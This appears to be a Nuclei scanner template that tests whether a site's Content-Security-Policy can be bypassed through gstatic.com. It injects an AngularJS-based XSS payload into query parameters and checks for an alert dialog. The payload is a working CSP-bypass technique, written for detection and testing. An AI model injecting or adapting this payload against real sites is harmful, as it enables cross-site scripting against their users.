id: gstatic-ssl-csp-bypass

info:
  name: Content-Security-Policy Bypass - GStatic SSL
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,gstatic-ssl

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "gstatic.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: gstatic_ssl_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <body ng-app ng-csp><script src="//ssl.gstatic.com/fsn/angular_js-bundle1.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "gstatic_ssl_csp_xss == true"
# digest: 490a0046304402201d938c94b5697cec7fb3aba0a572da5f1610ed1921907300eb5b74a7c930cdc3022020ab39a2ae78237e79efd1bedf267f67aff8cac1f108613dcf9ed3928270dc74:922c64590222798bb761d5b6d8e72950